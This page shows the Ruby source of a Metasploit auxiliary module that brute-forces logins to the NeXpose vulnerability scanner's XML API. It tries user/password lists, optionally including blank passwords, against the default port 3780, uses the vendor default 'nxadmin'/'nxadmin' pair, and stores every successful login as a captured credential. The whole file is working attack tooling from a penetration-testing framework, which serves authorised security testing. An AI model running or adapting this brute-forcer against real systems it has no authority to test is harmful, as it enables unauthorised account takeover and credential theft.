CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::AuthBrute
10
include Msf::Auxiliary::Scanner
11
12
def initialize
13
super(
14
'Name' => 'NeXpose API Interface Login Utility',
15
'Description' => %q{
16
This module simply attempts to login to a NeXpose API interface using a
17
specific user/pass.
18
},
19
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
20
'License' => MSF_LICENSE,
21
'DefaultOptions' => { 'SSL' => true }
22
)
23
24
register_options(
25
[
26
Opt::RPORT(3780),
27
OptString.new('URI', [true, "URI for NeXpose API. Default is /api/1.1/xml", "/api/1.1/xml"]),
28
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
29
])
30
end
31
32
def run_host(ip)
33
begin
34
res = send_request_cgi({
35
'uri' => datastore['URI'],
36
'method' => 'GET'
37
}, 25)
38
http_fingerprint({ :response => res })
39
rescue ::Rex::ConnectionError => e
40
vprint_error("#{datastore['URI']} - #{e.to_s}")
41
return
42
end
43
44
if not res
45
vprint_error("#{datastore['URI']} - No response")
46
return
47
end
48
if res.code != 200
49
vprint_error("Did not get 200 for API XML interface")
50
return
51
end
52
53
each_user_pass do |user, pass|
54
do_login(user, pass)
55
end
56
end
57
58
def report_cred(opts)
59
service_data = {
60
address: opts[:ip],
61
port: opts[:port],
62
service_name: opts[:service_name],
63
protocol: 'tcp',
64
workspace_id: myworkspace_id
65
}
66
67
credential_data = {
68
origin_type: :service,
69
module_fullname: fullname,
70
username: opts[:user],
71
private_data: opts[:password],
72
private_type: :password
73
}.merge(service_data)
74
75
login_data = {
76
last_attempted_at: Time.now,
77
core: create_credential(credential_data),
78
status: Metasploit::Model::Login::Status::SUCCESSFUL,
79
proof: opts[:proof]
80
}.merge(service_data)
81
82
create_credential_login(login_data)
83
end
84
85
def do_login(user='nxadmin', pass='nxadmin')
86
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
87
headers = {
88
'Content-Type' => 'text/xml'
89
}
90
data = '<?xml version="1.0" encoding="UTF-8"?><LoginRequest sync-id="1" user-id="' << user << '" password="' << pass << '"></LoginRequest>'
91
begin
92
res = send_request_cgi({
93
'encode' => true,
94
'uri' => datastore['URI'],
95
'method' => 'POST',
96
'headers' => headers,
97
'data' => data
98
}, 25)
99
100
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
101
print_error("HTTP Connection Failed, Aborting")
102
return :abort
103
end
104
105
if not res
106
print_error("HTTP Connection Error - res, Aborting")
107
return :abort
108
end
109
110
if res.code != 200
111
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
112
return :skip_pass
113
end
114
115
if res.code == 200
116
if res.body =~ /LoginResponse.*success="1"/
117
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
118
119
report_cred(
120
ip: datastore['RHOST'],
121
port: datastore['RPORT'],
122
service_name: 'nexpose',
123
user: user,
124
password: pass,
125
proof: res.code.to_s
126
)
127
return :next_user
128
end
129
end
130
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
131
return :skip_pass
132
end
133
end
134
135